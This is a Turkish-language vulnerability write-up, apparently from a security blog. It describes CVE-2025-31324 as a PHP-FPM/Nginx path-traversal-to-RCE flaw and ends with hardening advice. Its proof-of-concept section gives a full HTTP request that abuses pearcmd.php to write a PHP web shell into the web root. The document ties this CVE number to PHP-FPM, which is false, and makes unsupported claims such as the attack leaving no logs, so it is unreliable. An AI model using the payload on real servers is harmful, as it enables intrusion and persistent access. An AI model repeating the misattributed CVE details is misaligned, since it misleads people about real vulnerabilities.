#

CVE-2025-31324: PHP-FPM Path Traversal + Remote Code Execution (Uzman Analiz)

Yazar: Patron | Tarih: 3 Haziran 2025 | MITRE Kayıt

Sızma Testçisi Gözüyle Özet

CVE-2025-31324, PHP-FPM ile çalışan sistemlerde path traversal ve uzaktan kod çalıştırma (RCE) kombinasyonu ile kritik zafiyet oluşturan, çok kolay istismar edilebilen bir açıklıktır. Saldırgan, özel crafted HTTP istekleri ile PHP-FPM modülünü kandırıp sistemdeki herhangi bir PHP dosyasını çalıştırabilir, hatta hedef sisteme shell yazabilir. Özellikle Nginx ile entegre edilen PHP-FPM altyapılarında, bu açık tam otomasyonla exploit edilebilir.

Teknik Detaylar

  • Açık Nokta: Path Traversal ve Yanlış Request Routing (CWE-22, CWE-706)
  • Etkilenenler: PHP-FPM (7.x, 8.x), Nginx reverse proxy ile çalışan tüm sistemler
  • CVSS: 9.8 / 10 (Critical)
  • Uzman Yorumu: Nginx try_files veya hatalı location block konfigürasyonu varsa, exploit riski çok yüksektir.

Proof of Concept (PoC)

GET /index.php/../../../../../../usr/local/lib/php/pearcmd.php?+config-create+/<?php system('id');?>+/var/www/html/shell.php HTTP/1.1
Host: hedefsite.com
User-Agent: Exploit
Not: Bu PoC ile hedef sisteme doğrudan PHP shell yüklenebilir. Erişim, web sunucu kullanıcısı haklarıyla gerçekleşir.

Uzman Analizi

Açığın en kritik yanı, genellikle log kaydı bırakmadan exploit edilebilmesidir.
Birçok üretim ortamında yanlış yapılandırılmış dosya izinleri ve eksik erişim kontrolleri nedeniyle saldırganlar kalıcı erişim elde edebiliyor.
Tavsiye: Nginx + FPM yapılandırmasında try_files ile whitelist uygulayın, ve security.limit_extensions ayarını sadece .php olarak kısıtlayın.

Çözüm / Mitigation

  • Nginx try_files ve location block ayarlarını güvenli yapılandırın.
  • FPM pool’da security.limit_extensions ile sadece izinli dosya tiplerine izin verin.
  • Sunucudan gereksiz PHP araçlarını ve PEAR/PHP scriptlerini kaldırın veya erişime kapatın.
  • Uygulama kök dizininde yazılabilir klasörleri minimumda tutun, otomatik dosya yürütmelerini engelleyin.
arrow_back Önceki CVE Sonraki CVE arrow_forward